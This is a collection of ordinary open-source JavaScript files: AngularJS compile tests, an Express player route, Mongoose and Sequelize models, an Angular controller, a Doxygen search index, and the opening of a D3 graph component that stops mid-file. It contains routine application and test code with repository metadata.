              pre: function(s, e, attr) { log(attr.test); },
              post: function(s, e, attr) { log(attr.test); }
            }
          };
        });
        directive('asyncTest', function(log) {
          return {
            templateUrl: 'async.html',
            link: {
              pre: function(s, e, attr) { log(attr.test); },
              post: function(s, e, attr) { log(attr.test); }
            }
          };
        });
      }));
      beforeEach(inject(function($templateCache) {
        $templateCache.put('async.html', '<h1>Test</h1>');
      }));
      it('should provide post-digest value in synchronous directive link functions when after overridden attribute',
          inject(function(log, $rootScope, $compile) {
        $rootScope.test = "TEST";
        element = $compile('<div sync-test test="123" ng-attr-test="{{test}}"></div>')($rootScope);
        expect(element.attr('test')).toBe('123');
        expect(log.toArray()).toEqual(['TEST', 'TEST']);
      }));
      it('should provide post-digest value in synchronous directive link functions when before overridden attribute',
          inject(function(log, $rootScope, $compile) {
        $rootScope.test = "TEST";
        element = $compile('<div sync-test ng-attr-test="{{test}}" test="123"></div>')($rootScope);
        expect(element.attr('test')).toBe('123');
        expect(log.toArray()).toEqual(['TEST', 'TEST']);
      }));
      it('should provide post-digest value in asynchronous directive link functions when after overridden attribute',
          inject(function(log, $rootScope, $compile) {
        $rootScope.test = "TEST";
        element = $compile('<div async-test test="123" ng-attr-test="{{test}}"></div>')($rootScope);
        expect(element.attr('test')).toBe('123');
        $rootScope.$digest();
        expect(log.toArray()).toEqual(['TEST', 'TEST']);
      }));
      it('should provide post-digest value in asynchronous directive link functions when before overridden attribute',
          inject(function(log, $rootScope, $compile) {
        $rootScope.test = "TEST";
        element = $compile('<div async-test ng-attr-test="{{test}}" test="123"></div>')($rootScope);
        expect(element.attr('test')).toBe('123');
        $rootScope.$digest();
        expect(log.toArray()).toEqual(['TEST', 'TEST']);
      }));
    });
    it('should work with different prefixes', inject(function($compile, $rootScope) {
      $rootScope.name = "Misko";
      element = $compile('<span ng:attr:test="{{name}}" ng-Attr-test2="{{name}}" ng_Attr_test3="{{name}}"></span>')($rootScope);
      expect(element.attr('test')).toBeUndefined();
      expect(element.attr('test2')).toBeUndefined();
      expect(element.attr('test3')).toBeUndefined();
      $rootScope.$digest();
      expect(element.attr('test')).toBe('Misko');
      expect(element.attr('test2')).toBe('Misko');
      expect(element.attr('test3')).toBe('Misko');
    }));
    it('should work with the "href" attribute', inject(function($compile, $rootScope) {
      $rootScope.value = 'test';
      element = $compile('<a ng-attr-href="test/{{value}}"></a>')($rootScope);
      $rootScope.$digest();
      expect(element.attr('href')).toBe('test/test');
    }));
    it('should work if they are prefixed with x- or data-', inject(function($compile, $rootScope) {
      $rootScope.name = "Misko";
      element = $compile('<span data-ng-attr-test2="{{name}}" x-ng-attr-test3="{{name}}" data-ng:attr-test4="{{name}}"></span>')($rootScope);
      expect(element.attr('test2')).toBeUndefined();
      expect(element.attr('test3')).toBeUndefined();
      expect(element.attr('test4')).toBeUndefined();
      $rootScope.$digest();
      expect(element.attr('test2')).toBe('Misko');
      expect(element.attr('test3')).toBe('Misko');
      expect(element.attr('test4')).toBe('Misko');
    }));
    describe('when an attribute has a dash-separated name', function () {
      it('should work with different prefixes', inject(function($compile, $rootScope) {
        $rootScope.name = "JamieMason";
        element = $compile('<span ng:attr:dash-test="{{name}}" ng-Attr-dash-test2="{{name}}" ng_Attr_dash-test3="{{name}}"></span>')($rootScope);
        expect(element.attr('dash-test')).toBeUndefined();
        expect(element.attr('dash-test2')).toBeUndefined();
        expect(element.attr('dash-test3')).toBeUndefined();
        $rootScope.$digest();
        expect(element.attr('dash-test')).toBe('JamieMason');
        expect(element.attr('dash-test2')).toBe('JamieMason');
        expect(element.attr('dash-test3')).toBe('JamieMason');
      }));
      it('should work if they are prefixed with x- or data-', inject(function($compile, $rootScope) {
        $rootScope.name = "JamieMason";
        element = $compile('<span data-ng-attr-dash-test2="{{name}}" x-ng-attr-dash-test3="{{name}}" data-ng:attr-dash-test4="{{name}}"></span>')($rootScope);
        expect(element.attr('dash-test2')).toBeUndefined();
        expect(element.attr('dash-test3')).toBeUndefined();
        expect(element.attr('dash-test4')).toBeUndefined();
        $rootScope.$digest();
        expect(element.attr('dash-test2')).toBe('JamieMason');
        expect(element.attr('dash-test3')).toBe('JamieMason');
        expect(element.attr('dash-test4')).toBe('JamieMason');
      }));
      it('should keep attributes ending with -start single-element directives', function() {
        module(function($compileProvider) {
          $compileProvider.directive('dashStarter', function(log) {
            return {
              link: function(scope, element, attrs) {
                log(attrs.onDashStart);
              }
            };
          });
        });
        inject(function($compile, $rootScope, log) {
          $compile('<span data-dash-starter data-on-dash-start="starter"></span>')($rootScope);
          $rootScope.$digest();
          expect(log).toEqual('starter');
        });
      });
      it('should keep attributes ending with -end single-element directives', function() {
        module(function($compileProvider) {
          $compileProvider.directive('dashEnder', function(log) {
            return {
              link: function(scope, element, attrs) {
                log(attrs.onDashEnd);
              }
            };
          });
        });
        inject(function($compile, $rootScope, log) {
          $compile('<span data-dash-ender data-on-dash-end="ender"></span>')($rootScope);
          $rootScope.$digest();
          expect(log).toEqual('ender');
        });
      });
    });
  });
  describe('multi-element directive', function() {
    it('should group on link function', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div>' +
              '<span ng-show-start="show"></span>' +
              '<span ng-show-end></span>' +
          '</div>')($rootScope);
      $rootScope.$digest();
      var spans = element.find('span');
      expect(spans.eq(0)).toBeHidden();
      expect(spans.eq(1)).toBeHidden();
    }));
    it('should group on compile function', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div>' +
              '<span ng-repeat-start="i in [1,2]">{{i}}A</span>' +
              '<span ng-repeat-end>{{i}}B;</span>' +
          '</div>')($rootScope);
      $rootScope.$digest();
      expect(element.text()).toEqual('1A1B;2A2B;');
    }));
    it('should support grouping over text nodes', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div>' +
              '<span ng-repeat-start="i in [1,2]">{{i}}A</span>' +
              ':' + // Important: proves that we can iterate over non-elements
              '<span ng-repeat-end>{{i}}B;</span>' +
          '</div>')($rootScope);
      $rootScope.$digest();
      expect(element.text()).toEqual('1A:1B;2A:2B;');
    }));
    it('should group on $root compile function', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div></div>' +
              '<span ng-repeat-start="i in [1,2]">{{i}}A</span>' +
              '<span ng-repeat-end>{{i}}B;</span>' +
          '<div></div>')($rootScope);
      $rootScope.$digest();
      element = jqLite(element[0].parentNode.childNodes); // reset because repeater is top level.
      expect(element.text()).toEqual('1A1B;2A2B;');
    }));
    it('should group on nested groups', function() {
      module(function($compileProvider) {
        $compileProvider.directive("ngMultiBind", valueFn({
          multiElement: true,
          link: function(scope, element, attr) {
            element.text(scope.$eval(attr.ngMultiBind));
          }
        }));
      });
      inject(function($compile, $rootScope) {
        $rootScope.show = false;
        element = $compile(
            '<div></div>' +
                '<div ng-repeat-start="i in [1,2]">{{i}}A</div>' +
                '<span ng-multi-bind-start="\'.\'"></span>' +
                '<span ng-multi-bind-end></span>' +
                '<div ng-repeat-end>{{i}}B;</div>' +
            '<div></div>')($rootScope);
        $rootScope.$digest();
        element = jqLite(element[0].parentNode.childNodes); // reset because repeater is top level.
        expect(element.text()).toEqual('1A..1B;2A..2B;');
      });
    });
    it('should group on nested groups of same directive', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div></div>' +
              '<div ng-repeat-start="i in [1,2]">{{i}}(</div>' +
              '<span ng-repeat-start="j in [2,3]">{{j}}-</span>' +
              '<span ng-repeat-end>{{j}}</span>' +
              '<div ng-repeat-end>){{i}};</div>' +
          '<div></div>')($rootScope);
      $rootScope.$digest();
      element = jqLite(element[0].parentNode.childNodes); // reset because repeater is top level.
      expect(element.text()).toEqual('1(2-23-3)1;2(2-23-3)2;');
    }));
    it('should set up and destroy the transclusion scopes correctly',
          inject(function($compile, $rootScope) {
      element = $compile(
        '<div>' +
          '<div ng-if-start="val0"><span ng-if="val1"></span></div>' +
          '<div ng-if-end><span ng-if="val2"></span></div>' +
        '</div>'
      )($rootScope);
      $rootScope.$apply('val0 = true; val1 = true; val2 = true');
      // At this point we should have something like:
      //
      // <div class="ng-scope">
      //
      //   <!-- ngIf: val0 -->
      //
      //   <div ng-if-start="val0" class="ng-scope">
      //     <!-- ngIf: val1 -->
      //     <span ng-if="val1" class="ng-scope"></span>
      //     <!-- end ngIf: val1 -->
      //   </div>
      //
      //   <div ng-if-end="" class="ng-scope">
      //     <!-- ngIf: val2 -->
      //     <span ng-if="val2" class="ng-scope"></span>
      //     <!-- end ngIf: val2 -->
      //   </div>
      //
      //   <!-- end ngIf: val0 -->
      // </div>
      var ngIfStartScope = element.find('div').eq(0).scope();
      var ngIfEndScope = element.find('div').eq(1).scope();
      expect(ngIfStartScope.$id).toEqual(ngIfEndScope.$id);
      var ngIf1Scope = element.find('span').eq(0).scope();
      var ngIf2Scope = element.find('span').eq(1).scope();
      expect(ngIf1Scope.$id).not.toEqual(ngIf2Scope.$id);
      expect(ngIf1Scope.$parent.$id).toEqual(ngIf2Scope.$parent.$id);
      $rootScope.$apply('val1 = false');
      // Now we should have something like:
      //
      // <div class="ng-scope">
      //   <!-- ngIf: val0 -->
      //   <div ng-if-start="val0" class="ng-scope">
      //     <!-- ngIf: val1 -->
      //   </div>
      //   <div ng-if-end="" class="ng-scope">
      //     <!-- ngIf: val2 -->
      //     <span ng-if="val2" class="ng-scope"></span>
      //     <!-- end ngIf: val2 -->
      //   </div>
      //   <!-- end ngIf: val0 -->
      // </div>
      expect(ngIfStartScope.$$destroyed).not.toEqual(true);
      expect(ngIf1Scope.$$destroyed).toEqual(true);
      expect(ngIf2Scope.$$destroyed).not.toEqual(true);
      $rootScope.$apply('val0 = false');
      // Now we should have something like:
      //
      // <div class="ng-scope">
      //   <!-- ngIf: val0 -->
      // </div>
      expect(ngIfStartScope.$$destroyed).toEqual(true);
      expect(ngIf1Scope.$$destroyed).toEqual(true);
      expect(ngIf2Scope.$$destroyed).toEqual(true);
    }));
    it('should set up and destroy the transclusion scopes correctly',
          inject(function($compile, $rootScope) {
      element = $compile(
        '<div>' +
          '<div ng-repeat-start="val in val0" ng-if="val1"></div>' +
          '<div ng-repeat-end ng-if="val2"></div>' +
        '</div>'
      )($rootScope);
      // To begin with there is (almost) nothing:
      // <div class="ng-scope">
      //   <!-- ngRepeat: val in val0 -->
      // </div>
      expect(element.scope().$id).toEqual($rootScope.$id);
      // Now we create all the elements
      $rootScope.$apply('val0 = [1]; val1 = true; val2 = true');
      // At this point we have:
      //
      // <div class="ng-scope">
      //
      //   <!-- ngRepeat: val in val0 -->
      //   <!-- ngIf: val1 -->
      //   <div ng-repeat-start="val in val0" class="ng-scope">
      //   </div>
      //   <!-- end ngIf: val1 -->
      //
      //   <!-- ngIf: val2 -->
      //   <div ng-repeat-end="" class="ng-scope">
      //   </div>
      //   <!-- end ngIf: val2 -->
      //   <!-- end ngRepeat: val in val0 -->
      // </div>
      var ngIf1Scope = element.find('div').eq(0).scope();
      var ngIf2Scope = element.find('div').eq(1).scope();
      var ngRepeatScope = ngIf1Scope.$parent;
      expect(ngIf1Scope.$id).not.toEqual(ngIf2Scope.$id);
      expect(ngIf1Scope.$parent.$id).toEqual(ngRepeatScope.$id);
      expect(ngIf2Scope.$parent.$id).toEqual(ngRepeatScope.$id);
      // What is happening here??
      // We seem to have a repeater scope which doesn't actually match to any element
      expect(ngRepeatScope.$parent.$id).toEqual($rootScope.$id);
      // Now remove the first ngIf element from the first item in the repeater
      $rootScope.$apply('val1 = false');
      // At this point we should have:
      //
      // <div class="ng-scope">
      //   <!-- ngRepeat: val in val0 -->
      //
      //   <!-- ngIf: val1 -->
      //
      //   <!-- ngIf: val2 -->
      //   <div ng-repeat-end="" ng-if="val2" class="ng-scope"></div>
      //   <!-- end ngIf: val2 -->
      //
      //   <!-- end ngRepeat: val in val0 -->
      // </div>
      //
      expect(ngRepeatScope.$$destroyed).toEqual(false);
      expect(ngIf1Scope.$$destroyed).toEqual(true);
      expect(ngIf2Scope.$$destroyed).toEqual(false);
      // Now remove the second ngIf element from the first item in the repeater
      $rootScope.$apply('val2 = false');
      // We are mostly back to where we started
      //
      // <div class="ng-scope">
      //   <!-- ngRepeat: val in val0 -->
      //   <!-- ngIf: val1 -->
      //   <!-- ngIf: val2 -->
      //   <!-- end ngRepeat: val in val0 -->
      // </div>
      expect(ngRepeatScope.$$destroyed).toEqual(false);
      expect(ngIf1Scope.$$destroyed).toEqual(true);
      expect(ngIf2Scope.$$destroyed).toEqual(true);
      // Finally remove the repeat items
      $rootScope.$apply('val0 = []');
      // Somehow this ngRepeat scope knows how to destroy itself...
      expect(ngRepeatScope.$$destroyed).toEqual(true);
      expect(ngIf1Scope.$$destroyed).toEqual(true);
      expect(ngIf2Scope.$$destroyed).toEqual(true);
    }));
    it('should throw error if unterminated', function () {
      module(function($compileProvider) {
        $compileProvider.directive('foo', function() {
          return {
            multiElement: true
          };
        });
      });
      inject(function($compile, $rootScope) {
        expect(function() {
          element = $compile(
              '<div>' +
                '<span foo-start></span>' +
              '</div>');
        }).toThrowMinErr("$compile", "uterdir", "Unterminated attribute, found 'foo-start' but no matching 'foo-end' found.");
      });
    });
    it('should correctly collect ranges on multiple directives on a single element', function () {
      module(function($compileProvider) {
        $compileProvider.directive('emptyDirective', function() {
          return {
            multiElement: true,
            link: function (scope, element) {
              element.data('x', 'abc');
            }
          };
        });
        $compileProvider.directive('rangeDirective', function() {
          return {
            multiElement: true,
            link: function (scope) {
              scope.x = 'X';
              scope.y = 'Y';
            }
          };
        });
      });
      inject(function ($compile, $rootScope) {
        element = $compile(
          '<div>' +
            '<div range-directive-start empty-directive>{{x}}</div>' +
            '<div range-directive-end>{{y}}</div>' +
          '</div>'
        )($rootScope);
        $rootScope.$digest();
        expect(element.text()).toBe('XY');
        expect(angular.element(element[0].firstChild).data('x')).toBe('abc');
      });
    });
    it('should throw error if unterminated (containing termination as a child)', function () {
      module(function($compileProvider) {
        $compileProvider.directive('foo', function() {
          return {
            multiElement: true
          };
        });
      });
      inject(function($compile) {
        expect(function() {
          element = $compile(
              '<div>' +
                  '<span foo-start><span foo-end></span></span>' +
              '</div>');
        }).toThrowMinErr("$compile", "uterdir", "Unterminated attribute, found 'foo-start' but no matching 'foo-end' found.");
      });
    });
    it('should support data- and x- prefix', inject(function($compile, $rootScope) {
      $rootScope.show = false;
      element = $compile(
          '<div>' +
              '<span data-ng-show-start="show"></span>' +
              '<span data-ng-show-end></span>' +
              '<span x-ng-show-start="show"></span>' +
              '<span x-ng-show-end></span>' +
          '</div>')($rootScope);
      $rootScope.$digest();
      var spans = element.find('span');
      expect(spans.eq(0)).toBeHidden();
      expect(spans.eq(1)).toBeHidden();
      expect(spans.eq(2)).toBeHidden();
      expect(spans.eq(3)).toBeHidden();
    }));
  });
  describe('$animate animation hooks', function() {
    beforeEach(module('ngAnimateMock'));
    it('should automatically fire the addClass and removeClass animation hooks',
      inject(function($compile, $animate, $rootScope) {
        var data, element = jqLite('<div class="{{val1}} {{val2}} fire"></div>');
        $compile(element)($rootScope);
        $rootScope.$digest();
        expect(element.hasClass('fire')).toBe(true);
        $rootScope.val1 = 'ice';
        $rootScope.val2 = 'rice';
        $rootScope.$digest();
        data = $animate.queue.shift();
        expect(data.event).toBe('addClass');
        expect(data.args[1]).toBe('ice rice');
        expect(element.hasClass('ice')).toBe(true);
        expect(element.hasClass('rice')).toBe(true);
        expect(element.hasClass('fire')).toBe(true);
        $rootScope.val2 = 'dice';
        $rootScope.$digest();
        data = $animate.queue.shift();
        expect(data.event).toBe('setClass');
        expect(data.args[1]).toBe('dice');
        expect(data.args[2]).toBe('rice');
        expect(element.hasClass('ice')).toBe(true);
        expect(element.hasClass('dice')).toBe(true);
        expect(element.hasClass('fire')).toBe(true);
        $rootScope.val1 = '';
        $rootScope.val2 = '';
        $rootScope.$digest();
        data = $animate.queue.shift();
        expect(data.event).toBe('removeClass');
        expect(data.args[1]).toBe('ice dice');
        expect(element.hasClass('ice')).toBe(false);
        expect(element.hasClass('dice')).toBe(false);
        expect(element.hasClass('fire')).toBe(true);
      }));
  });
});
 | 
	shaozhengxing/angular.js | 
	test/ng/compileSpec.js | 
	JavaScript | 
	mit | 219,821 | 
| 
	//
//
//
const express = require('express');
const router = express.Router();
const randomstring = require('randomstring');
const Player = require('core/player');
router.get('/player/init', function(req, res, next) {
  let random_name = "player_"
  random_name += randomstring.generate({
    length: 4,
    charset: 'numeric'
  });
  let user = {
    username: req.body.username || random_name
  };
  Player.add(user, function(err, player, exists) {
    if (err) {
      return next(err);
    }
    if (player) {
      return res.json({
        username: player.username,
        uuid: player.uuid
      });
    }
    res.status(409).json(exists);
  })
});
module.exports = router;
 | 
	geeks-fight-club/geeks-games-core | 
	server/http/json-ui/player_init.js | 
	JavaScript | 
	mit | 692 | 
| 
	var searchData=
[
  ['vector3',['vector3',['../namespacerobotis__manipulator_1_1math.html#a057ca65131575b85aec169f3a50ed796',1,'robotis_manipulator::math']]],
  ['velocity',['velocity',['../structrobotis__manipulator_1_1_dynamicvector.html#a6bbccf8316887a8da3cd6aa065f3beac',1,'robotis_manipulator::Dynamicvector::velocity()'],['../structrobotis__manipulator_1_1_point.html#a4eaec95fac0c755eb0aa704b36ebe97b',1,'robotis_manipulator::Point::velocity()']]]
];
 | 
	ROBOTIS-GIT/emanual | 
	docs/en/software/robotis_manipulator_libs/doxygen/html/search/all_12.js | 
	JavaScript | 
	mit | 458 | 
| 
	'use strict';
/**
 * Module dependencies.
 */
var mongoose = require('mongoose'),
	Schema = mongoose.Schema;
/**
 * Answer Schema
 */
var AnswerSchema = new Schema({
	content: {
		type: String,
		default: '',
		required: 'Please fill Answer content',
		trim: true
	},
	created: {
		type: Date,
		default: Date.now
	},
	user: {
		type: Schema.ObjectId,
		ref: 'User'
	},
	article_id: {
		type: String,
		default: '',
		trim: true
	}
});
mongoose.model('Answer', AnswerSchema);
 | 
	leonarther16th/eslhunter | 
	app/models/answer.server.model.js | 
	JavaScript | 
	mit | 481 | 
| 
	import mongoose from 'mongoose';
const { Schema } = mongoose;
const typeSchema = new Schema({
    name: String,
    image: String,
    date: {
        type: Date,
        default: Date.now(),
    },
    places: [
        {
            type: Schema.Types.ObjectId,
            ref: 'Place',
        },
    ],
});
const Type = mongoose.model('Type', typeSchema);
export default Type;
 | 
	AlexeyKorkoza/TestProjectAndNodeJS | 
	backend/src/models/type.js | 
	JavaScript | 
	mit | 386 | 
| 
	'use strict';
/**
 * @ngdoc function
 * @name tbsApp.controller:EidolonListCtrl
 * @description
 * # EidolonListCtrl
 * Controller of the tbsApp
 */
angular.module('tbsApp').controller('EidolonListCtrl', function ($scope, $routeParams, $modal, REidolon, UserData) {
    $scope.have_eidolon = UserData.get('have_eidolon',  {});
    $scope.job_level    = UserData.get('eidolon_level', {});
    
    $scope.characters = [];
    REidolon.all(function(data){
        var _char = null;
        for(var i = 0; i < data.length; ++i){
            _char = angular.copy(data[i]);
            _char.max_job = parseInt(data[i].max_job);
            $scope.characters.push(_char);
        }
    });
    $scope.toggle = function(ref){
        UserData.set('have_eidolon', $scope.have_eidolon);
    };
    
    $scope.job_change = function(ref){
        UserData.set('eidolon_level', $scope.job_level);
    };
  });
 | 
	m-atthieu/tbs.desile.fr | 
	front/scripts/controllers/eidolon-list.js | 
	JavaScript | 
	mit | 902 | 
| 
	'use strict';
module.exports = {
  up: function(queryInterface, Sequelize) {
    return queryInterface.createTable('DeliveryOrders', {
      id: {
        allowNull: false,
        autoIncrement: true,
        primaryKey: true,
        type: Sequelize.INTEGER
      },
      number: {
        type: Sequelize.STRING
      },
      createdAt: {
        allowNull: false,
        type: Sequelize.DATE
      },
      updatedAt: {
        allowNull: false,
        type: Sequelize.DATE
      }
    });
  },
  down: function(queryInterface, Sequelize) {
    return queryInterface.dropTable('DeliveryOrders');
  }
}; | 
	PinguinJantan/openPackTrack-backend | 
	migrations/20171017155907-create-delivery-order.js | 
	JavaScript | 
	mit | 610 | 
| 
	(function (window) {
  var tooltips = {
    autoscale: "Show all data (autoscale)",
    selection: "Select data for export"
  };
  var axis = {
    numberWidthUsingFormatter: function(elem, cx, cy, fontSizeInPixels, numberStr) {
      var testSVG,
          testText,
          bbox,
          width,
          height,
          node;
      testSVG = elem.append("svg")
        .attr("width",  cx)
        .attr("height", cy)
        .attr("class", "graph");
      testText = testSVG.append('g')
        .append("text")
          .attr("class", "axis")
          .attr("x", -fontSizeInPixels/4 + "px")
          .attr("dy", ".35em")
          .attr("text-anchor", "end")
          .text(numberStr);
      node = testText.node();
      // This code is sometimes called by tests that use d3's jsdom-based mock SVG DOm, which
      // doesn't implement getBBox.
      if (node.getBBox) {
        bbox = testText.node().getBBox();
        width = bbox.width;
        height = bbox.height;
      } else {
        width = 0;
        height = 0;
      }
      testSVG.remove();
      return [width, height];
    },
    axisProcessDrag: function(dragstart, currentdrag, domain) {
      var originExtent, maxDragIn,
          newdomain = domain,
          origin = 0,
          axis1 = domain[0],
          axis2 = domain[1],
          extent = axis2 - axis1;
      if (currentdrag !== 0) {
        if  ((axis1 >= 0) && (axis2 > axis1)) {                 // example: (20, 10, [0, 40]) => [0, 80]
          origin = axis1;
          originExtent = dragstart-origin;
          maxDragIn = originExtent * 0.4 + origin;
          if (currentdrag > maxDragIn) {
            change = originExtent / (currentdrag-origin);
            extent = axis2 - origin;
            newdomain = [axis1, axis1 + (extent * change)];
          }
        } else if ((axis1 < 0) && (axis2 > 0)) {                // example: (20, 10, [-40, 40])       => [-80, 80]
          origin = 0;                                           //          (-0.4, -0.2, [-1.0, 0.4]) => [-1.0, 0.4]
          originExtent = dragstart-origin;
          maxDragIn = originExtent * 0.4 + origin;
          if ((dragstart >= 0 && currentdrag > maxDragIn) || (dragstart  < 0  && currentdrag < maxDragIn)) {
            change = originExtent / (currentdrag-origin);
            newdomain = [axis1 * change, axis2 * change];
          }
        } else if ((axis1 < 0) && (axis2 < 0)) {                // example: (-60, -50, [-80, -40]) => [-120, -40]
          origin = axis2;
          originExtent = dragstart-origin;
          maxDragIn = originExtent * 0.4 + origin;
          if (currentdrag < maxDragIn) {
            change = originExtent / (currentdrag-origin);
            extent = axis1 - origin;
            newdomain = [axis2 + (extent * change), axis2];
          }
        }
      }
      newdomain[0] = +newdomain[0].toPrecision(5);
      newdomain[1] = +newdomain[1].toPrecision(5);
      return newdomain;
    }
  };
  function Graph(idOrElement, options, message, tabindex) {
    var api = {},   // Public API object to be returned.
        // D3 selection of the containing DOM element the graph is placed in
        elem,
        // Regular representation of containing DOM element the graph is placed in
        node,
        // JQuerified version of DOM element
        $node,
        // Size of containing DOM element
        cx, cy,
        // Calculated padding between edges of DOM container and interior plot area of graph.
        padding,
        // Object containing width and height in pixels of interior plot area of graph
        size,
        // D3 objects representing SVG elements/containers in graph
        svg,
        vis,
        plot,
        viewbox,
        title,
        xlabel,
        ylabel,
        selectedRulerX,
        selectedRulerY,
        // Strings used as tooltips when labels are visible but are truncated because
        // they are too big to be rendered into the space the graph allocates
        titleTooltip,
        xlabelTooltip,
        ylabelTooltip,
        // Instantiated D3 scale functions
        // currently either d3.scale.linear, d3.scale.log, or d3.scale.pow
        xScale,
        yScale,
        // The approximate number of gridlines in the plot, passed to d3.scale.ticks() function
        xTickCount,
        yTickCount,
        // Instantiated D3 line function: d3.svg.line()
        line,
        // numeric format functions wrapping the d3.format() functions
        fx,
        fy,
        // Instantiated D3 numeric format functions: d3.format()
        fx_d3,
        fy_d3,
        // Function for stroke styling of major and minor grid lines
        gridStroke = function(d) { return d ? "#ccc" : "#666"; },
        // Functions for translation of grid lines and associated numeric labels
        tx = function(d) { return "translate(" + xScale(d) + ",0)"; },
        ty = function(d) { return "translate(0," + yScale(d) + ")"; },
        // Div created and placed with z-index above all other graph layers that holds
        // graph action/mode buttons.
        buttonLayer,
        selectionButton,
        // Div created and placed with z-index under all other graph layers
        background,
        // Optional string which can be displayed in background of interior plot area of graph.
        notification,
        // An array of strings holding 0 or more lines for the title of the graph
        titles = [],
        // D3 selection containing canvas
        graphCanvas,
        // HTML5 Canvas object containing just plotted lines
        gcanvas,
        gctx,
        canvasFillStyle = "rgba(255,255,255, 0.0)",
        // Function dynamically created when X axis domain shift is in progress
        domainShift,
        // Boolean indicating X axis domain shif is in progress
        shiftingX = false,
        // Easing function used during X axis domain shift
        cubicEase = d3.ease('cubic'),
        // These are used to implement fluid X axis domain shifting.
        // This is used when plotting samples/points and extent of plotted
        // data approach extent of X axis.
        // Domain shifting can also occur when the current sample point is moved.
        // This most often occurs when using a graph to examine data from a model
        // and movingthe current sample point backwards and forwards in data that
        // have already been collected.
        // The style of the cursor when hovering over a sample.point marker.
        // The cursor changes depending on the operations that can be performed.
        markerCursorStyle,
        // Metrics calculated to support layout of titles, axes as
        // well as text and numeric labels for axes.
        fontSizeInPixels,
        halfFontSizeInPixels,
        quarterFontSizeInPixels,
        titleFontSizeInPixels,
        axisFontSizeInPixels,
        xlabelFontSizeInPixels,
        ylabelFontSizeInPixels,
        // Array objects containing width and height of X and Y axis labels
        xlabelMetrics,
        ylabelMetrics,
        // Width of widest numeric labels on X and Y axes
        xAxisNumberWidth,
        yAxisNumberWidth,
        // Height of numeric labels on X and Y axes
        xAxisNumberHeight,
        yAxisNumberHeight,
        // Padding necessary for X and Y axis labels to leave enough room for numeric labels
        xAxisVerticalPadding,
        yAxisHorizontalPadding,
        // Padding necessary between right side of interior plot and edge of graph so
        // make room for numeric lanel on right edge of X axis.
        xAxisLabelHorizontalPadding,
        // Baselines calculated for positioning of X and Y axis labels.
        xAxisLabelBaseline,
        yAxisLabelBaseline,
        // Thickness of draggable areas for rescaling axes, these surround numeric labels
        xAxisDraggableHeight,
        yAxisDraggableWidth,
        // D3 SVG rects used to implement axis dragging
        xAxisDraggable,
        yAxisDraggable,
        // Strings used as tooltips when numeric axis draggables are visible but responsive
        // layout system has removed the axis labels because of small size of graph.
        xAxisDraggableTooltip,
        yAxisDraggableTooltip,
        // Used to calculate styles for markers appearing on samples/points (normally circles)
        markerRadius,
        markerStrokeWidth,
        // Stroke width used for lines in graph
        lineWidth,
        // Used to categorize size of graphs in responsive layout mode where
        // certain graph chrome is removed when graph is rendered smaller.
        sizeType = {
          category: "medium",
          value: 3,
          icon: 120,
          tiny: 240,
          small: 480,
          medium: 960,
          large: 1920
        },
        // State variables indicating whether an axis drag operation is in place.
        // NaN values are used to indicate operation not in progress and
        // checked like this: if (!isNaN(downx)) { resacle operation in progress }
        //
        // When drag/rescale operation is occuring values contain plot
        // coordinates of start of drag (0 is a valid value).
        downx = NaN,
        downy = NaN,
        // State variable indicating whether a data point is being dragged.
        // When data point drag operation is occuring value contain two element
        // array wiith plot coordinates of drag position.
        draggedPoint = null,
        // When a data point is selected contains two element array wiith plot coordinates
        // of selected data point.
        selected = null,
        // An array of data points in the plot which are near the cursor.
        // Normally used to temporarily display data point markers when cursor
        // is nearby when markAllDataPoints is disabled.
        selectable = [],
        // An array containing two-element arrays consisting of X and Y values for samples/points
        points = [],
        // An array containing 1 or more points arrays to be plotted.
        pointArray,
        // When additional dataseries are added to the graph via addPoints(datapoints)
        // newDataSeries contains the number of series in dataPoints
        // Each series is a separate stream of data consisting of [x, y] pairs.
        // Additional static dataseries can be graphed along with the new series that
        // are streaming in as samples by pushing extra series into the array of data
        // setup with resetPoints().
        newDataSeries,
        // Index into points array for current sample/point.
        // Normally references data point last added.
        // Current sample can refer to earlier points. This is
        // represented in the view by using a desaturated styling for
        // plotted data after te currentSample.
        currentSample,
        // When graphing data samples as opposed to [x, y] data pairs contains
        // the fixed time interval between subsequent samples.
        sampleInterval,
        // Normally data sent to graph as samples starts at an X value of 0
        // A different starting x value can be set
        dataSampleStart,
        // The default options for a graph
        default_options = {
          // Enables the button layer with: AutoScale ...
          showButtons:    true,
          // Responsive Layout provides pregressive removal of
          // graph elements when size gets smaller
          responsiveLayout: false,
          // Font sizes for graphs are normally specified using ems.
          // When fontScaleRelativeToParent to true the font-size of the
          // containing element is set based on the size of the containing
          // element. hs means whn the containing element is smaller the
          // foint-size of the labels in thegraph will be smaller.
          fontScaleRelativeToParent: true,
          enableAutoScaleButton: true,
          enableAxisScaling: true,
          enableSelectionButton: false,
          clearSelectionOnLeavingSelectMode: false,
          //
          // dataType can be either 'points or 'samples'
          //
          dataType: 'points',
          //
          // dataType: 'points'
          //
          // Arrays of two-element arrays of x, y data pairs, this is the internal
          // format the graphers uses to represent data.
          dataPoints:      [],
          //
          // dataType: 'samples'
          //
          // An array of samples (or an array or arrays of samples)
          dataSamples:     [],
          // The constant time interval between sample values
          sampleInterval:  1,
          // Normally data sent to graph as samples starts at an X value of 0
          // A different starting x value can be set
          dataSampleStart: 0,
          // title can be a string or an array of strings, if an
          // array of strings each element is on a separate line.
          title:          "graph",
          // The labels for the axes, these are separate from the numeric labels.
          xlabel:         "x-axis",
          ylabel:         "y-axis",
          // Initial extent of the X and Y axes.
          xmax:            10,
          xmin:            0,
          ymax:            10,
          ymin:            0,
          // Approximate values for how many gridlines should appear on the axes.
          xTickCount:      10,
          yTickCount:      10,
          // The formatter strings used to convert numbers into strings.
          // see: https://github.com/mbostock/d3/wiki/Formatting#wiki-d3_format
          xFormatter:      ".3s",
          yFormatter:      ".3s",
          // Scale type: options are:
          //   linear: https://github.com/mbostock/d3/wiki/Quantitative-Scales#wiki-linear
          //   log:    https://github.com/mbostock/d3/wiki/Quantitative-Scales#wiki-log
          //   pow:    https://github.com/mbostock/d3/wiki/Quantitative-Scales#wiki-pow
          xscale:         'linear',
          yscale:         'linear',
          // Used when scale type is set to "pow"
          xscaleExponent:  0.5,
          yscaleExponent:  0.5,
          // How many samples/points over which a graph shift should take place
